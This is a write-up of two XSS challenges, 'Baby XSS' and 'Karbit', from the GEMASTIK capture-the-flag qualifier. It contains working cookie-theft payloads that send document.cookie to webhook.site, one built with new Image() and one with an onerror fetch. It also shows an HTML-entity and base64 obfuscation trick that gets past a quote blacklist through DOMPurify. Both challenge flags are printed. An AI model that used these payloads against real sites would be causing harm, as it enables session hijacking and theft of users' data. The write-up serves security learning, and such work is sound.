# Description Recently, we joined the GEMASTIK (Pagelaran Mahasiswa Nasional Bidang Teknologi Informasi dan Komunikasi) competition with the Cyber Security division. We competed against 352 teams from across all Indonesian provinces in the qualifier round. Thank you to @HalloBim and @Mirai, who participated with me in this GEMASTIK competition. This write-up contains only the XSS challenges provided by @DimasMaulana as the problem-setter for the challenges `Baby XSS` and `Karbit`. [toc] # Baby XSS > I am new to learning XSS and found a repository for automating XSS challenge deployment. Here is the repo: https://github.com/dimasma0305/CTF-XSS-BOT/ Can you help me exploit XSS based on the vulnerable code in that repository? ## Tl;DR Abuse the `eval` function of website to steal admin cookie for get the flag. ## Solve Firstly, we need to analyse the source-code given on the repository. ![Screenshot 2024-08-04 233103](https://hackmd.io/_uploads/SJ44mE0FC.png) We got something interesting at the file index.html, which is there eval function on parameter `x`. ```html=1 <script> const url = new URL(location) if (url.searchParams.has("x")) { eval(url.searchParams.get("x")) } </script> ``` Because the objective was XSS, i make sure that this function can pop up some alert. http://ctf.gemastik.id:9020/?x=alert(1) ![Screenshot 2024-08-04 233302](https://hackmd.io/_uploads/rJt3X4AtA.png) Pop up appear, and we do analysis on bot source-code, which is flag is stored on bot cookie. ```js=1 await page.setCookie({ name: "flag", httpOnly: false, value: CONFIG.APPFLAG, url: CONFIG.APPURL }) ``` Also we can do SSRF for get the cookie. since the main function was designed to vulnerable at file index.js ```js=1 route.post("/", limit, async (req, res) => { const { url } = req.body; if (!url) { return res.status(400).send({ error: "Url is missing." }); } if (!RegExp(bot.urlRegex).test(url)) { return res.status(422).send({ error: "URL din't match this regex format " + bot.urlRegex }) } if (await bot.bot(url)) { return res.send({ success: "Admin successfully visited the URL." }); } else { return res.status(500).send({ error: "Admin failed to visit the URL." }); } }); ``` Next I tried to get my local cookie, but there a trouble. We can't get it by reflected on url when I use function like `location.href` or `location.replace`, then I decided to make a payload that spawned new image on the website with this: ``` new Image().src="https://webhook.site/"+document.cookie; ``` Then we got my cookie at webhook site. ![Screenshot 2024-08-04 235134](https://hackmd.io/_uploads/H1YZLNAKC.png) Next we send the crafted url on bot `/report`, with change the domain to flag domain `http://proxy` like this: ``` http://proxy/?x=new%20Image%28%29%2Esrc%3D%22https%3A%2F%2Fwebhook%2Esite%2F%3Fx%3D%22%2Bdocument%2Ecookie%3B ``` We got the flag. ![Screenshot 2024-08-04 235402](https://hackmd.io/_uploads/HyHOLNAF0.png) ``` gemastik{s3lamat_anda_m3ndap4tkan_XSS} ``` # Karbit > After years of being an ordinary person, you finally have the opportunity to become the King of Karbit. However, to become the King of Karbit, you must complete the challenge given by the previous King of Karbit. You have to prove that you can steal secret data from the previous King of Karbit. Steal the data and prove that you deserve to be the King of Karbit. Download attachment here: [dist.zip](https://drive.google.com/file/d/1seRRtj1YfM8T_LxnMxyyaEx9QsUCf9KE/view?usp=sharing) ## TL;DR Escape the blacklisting with abusing Dompurify and create payload with mixing HTML Entity. ## Solve We got the website that has appearance like this. ![image](https://hackmd.io/_uploads/BkZD_VCYC.png) Doing static analysis and we got seemly there a blacklist for single quote and double quote. ```html=1 <script src="https://cdn.jsdelivr.net/npm/bootstrap@latest/dist/js/bootstrap.bundle.min.js"></script> <script src="https://unpkg.com/dompurify@latest/dist/purify.min.js"></script> <script> const waifusContainer = document.querySelector(".waifus"); const claimedWaifusContainer = document.querySelector(".claimed-waifus"); const REGEX_SAVE_PROPS = /['"]/; const initialHash = location.hash ? atob(location.hash.substring(1)) : ""; function createWaifuCardHTML(file, buttonText, buttonAction) { const sanitizedFile = DOMPurify.sanitize(file); const imgHTML = `<img src="${sanitizedFile}" class="card-img-top">`; const buttonHTML = `<button class="btn btn-outline-light" onclick="${buttonAction}('${sanitizedFile}')">${buttonText}</button>`; return `<div class="card text-center waifu-item">${imgHTML}<div class="btn-container">${buttonHTML}</div></div>`; } function throwAlert(message) { document.location.hash = ""; alert(message); document.location = document.referrer; } function claimWaifu(file) { const sanitizedPath = DOMPurify.sanitize(new URL(file).pathname); let currentHash = location.hash ? atob(location.hash.substring(1)) : ""; const currentPaths = currentHash ? currentHash.split("|") : []; if (!currentPaths.includes(sanitizedPath)) { currentPaths.push(sanitizedPath); location.hash = btoa(currentPaths.join("|")); displayClaimedWaifus(currentPaths); } } function removeWaifu(file) { const sanitizedPath = DOMPurify.sanitize(new URL(file).pathname); let currentHash = atob(location.hash.substring(1)); const currentPaths = currentHash.split("|").filter(p => p !== sanitizedPath); location.hash = btoa(currentPaths.join("|")); displayClaimedWaifus(currentPaths); } function displayClaimedWaifus(paths) { if (REGEX_SAVE_PROPS.test(initialHash)) { throwAlert("Invalid characters detected in the hash. Please try again."); } let claimedWaifusHTML = ""; paths.forEach((path) => { const file = `https://i.waifu.pics${path}`; const cardHTML = createWaifuCardHTML(file, 'Remove', 'removeWaifu'); claimedWaifusHTML += cardHTML; }); claimedWaifusContainer.innerHTML = claimedWaifusHTML; } document.addEventListener("DOMContentLoaded", () => { fetch("https://api.waifu.pics/many/sfw/smile", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({}), }) .then((response) => response.json()) .then((data) => { let waifusHTML = ""; data.files.slice(0, 16).forEach((file) => { const cardHTML = createWaifuCardHTML(file, 'Claim', 'claimWaifu'); waifusHTML += cardHTML; }); waifusContainer.innerHTML = waifusHTML; }); const initialPaths = initialHash ? initialHash.split("|") : []; displayClaimedWaifus(initialPaths); }); </script> ``` Also we got a Dompurify with latest version at the line `2`. Firstly I got confuse since there a blacklist and Dompurify, I was think it a 0day on Dompurify, but because of Dompurify we surely can escape the blacklist. ``` /><img src=x><b>test</b> ``` Because of the hashed value, we need encode to base64 then it will be like this: ``` Lz48aW1nIHNyYz14PjxiPnRlc3Q8L2I+ ``` And our payload it works. ![Screenshot 2024-08-05 000955](https://hackmd.io/_uploads/BJLqFNRKR.png) Then we do HTML Entity for abusing the Dompurify. ![Screenshot 2024-08-05 001410](https://hackmd.io/_uploads/BknTFECtC.png) ``` /><img src=&#120;&#32;&#111;&#110;&#101;&#114;&#114;&#111;&#114;&equals; &apos;&#97;&#108;&#101;&#114;&#116;&lpar;&#49;&rpar;&apos;> ``` Pop up appear. ![Screenshot 2024-08-05 001704](https://hackmd.io/_uploads/r1cecVAYA.png) We craft our payload with doing SSRF on webhook, then our final payload is like this: ``` /><img src=x onerror='fetch(`//webhook.site/bf08c69e-b47a-4024-8ac9-dd5d51af39d3?x=`+document.cookie)'> ``` HTML Entity mixing: ``` /><img src=&#120;&#32;&#111;&#110;&#101;&#114;&#114;&#111;&#114;&equals; &apos;&#102;&#101;&#116;&#99;&#104;&lpar;&grave;&sol;&sol;&#119;& #101;&#98;&#104;&#111;&#111;&#107;&period;&#115;&#105;&#116;&#101 ;&sol;&#98;&#102;&#48;&#56;&#99;&#54;&#57;&#101;&#45;&#98;&#52;&# 55;&#97;&#45;&#52;&#48;&#50;&#52;&#45;&#56;&#97;&#99;&#57;&#45;&# 100;&#100;&#53;&#100;&#53;&#49;&#97;&#102;&#51;&#57;&#100;&#51;&q uest;&#120;&equals;&grave;&plus;&#100;&#111;&#99;&#117;&#109;&#10 1;&#110;&#116;&period;&#99;&#111;&#111;&#107;&#105;&#101;&rpar;&a pos;&gt;> ``` Encoded base64: ``` Lz48aW1nIHNyYz0mIzEyMDsmIzMyOyYjMTExOyYjMTEwOyYjMTAxOyYjMTE0OyYjM TE0OyYjMTExOyYjMTE0OyZlcXVhbHM7JmFwb3M7JiMxMDI7JiMxMDE7JiMxMTY7Ji M5OTsmIzEwNDsmbHBhcjsmZ3JhdmU7JnNvbDsmc29sOyYjMTE5OyYjMTAxOyYjOTg 7JiMxMDQ7JiMxMTE7JiMxMTE7JiMxMDc7JnBlcmlvZDsmIzExNTsmIzEwNTsmIzEx NjsmIzEwMTsmc29sOyYjOTg7JiMxMDI7JiM0ODsmIzU2OyYjOTk7JiM1NDsmIzU3O yYjMTAxOyYjNDU7JiM5ODsmIzUyOyYjNTU7JiM5NzsmIzQ1OyYjNTI7JiM0ODsmIz UwOyYjNTI7JiM0NTsmIzU2OyYjOTc7JiM5OTsmIzU3OyYjNDU7JiMxMDA7JiMxMDA 7JiM1MzsmIzEwMDsmIzUzOyYjNDk7JiM5NzsmIzEwMjsmIzUxOyYjNTc7JiMxMDA7 JiM1MTsmcXVlc3Q7JiMxMjA7JmVxdWFsczsmZ3JhdmU7JnBsdXM7JiMxMDA7JiMxM TE7JiM5OTsmIzExNzsmIzEwOTsmIzEwMTsmIzExMDsmIzExNjsmcGVyaW9kOyYjOT k7JiMxMTE7JiMxMTE7JiMxMDc7JiMxMDU7JiMxMDE7JnJwYXI7JmFwb3M7Jmd0Oz4= ``` After that, we can fully send our url to bot at `/report` with change the domain flag to `http://proxy/`. ``` http://proxy/#Lz48aW1nIHNyYz0mIzEyMDsmIzMyOyYjMTExOyYjMTEwOyYjMTAxOyYjMTE0OyYjM TE0OyYjMTExOyYjMTE0OyZlcXVhbHM7JmFwb3M7JiMxMDI7JiMxMDE7JiMxMTY7Ji M5OTsmIzEwNDsmbHBhcjsmZ3JhdmU7JnNvbDsmc29sOyYjMTE5OyYjMTAxOyYjOTg 7JiMxMDQ7JiMxMTE7JiMxMTE7JiMxMDc7JnBlcmlvZDsmIzExNTsmIzEwNTsmIzEx NjsmIzEwMTsmc29sOyYjOTg7JiMxMDI7JiM0ODsmIzU2OyYjOTk7JiM1NDsmIzU3O yYjMTAxOyYjNDU7JiM5ODsmIzUyOyYjNTU7JiM5NzsmIzQ1OyYjNTI7JiM0ODsmIz UwOyYjNTI7JiM0NTsmIzU2OyYjOTc7JiM5OTsmIzU3OyYjNDU7JiMxMDA7JiMxMDA 7JiM1MzsmIzEwMDsmIzUzOyYjNDk7JiM5NzsmIzEwMjsmIzUxOyYjNTc7JiMxMDA7 JiM1MTsmcXVlc3Q7JiMxMjA7JmVxdWFsczsmZ3JhdmU7JnBsdXM7JiMxMDA7JiMxM TE7JiM5OTsmIzExNzsmIzEwOTsmIzEwMTsmIzExMDsmIzExNjsmcGVyaW9kOyYjOT k7JiMxMTE7JiMxMTE7JiMxMDc7JiMxMDU7JiMxMDE7JnJwYXI7JmFwb3M7Jmd0Oz4= ``` We got the flag. ![Screenshot 2024-08-05 002803](https://hackmd.io/_uploads/rJMgj40tA.png) ``` gemastik{S3l4m4t_anda_t3lah_m3nj4d1_r4j4_karbit} ```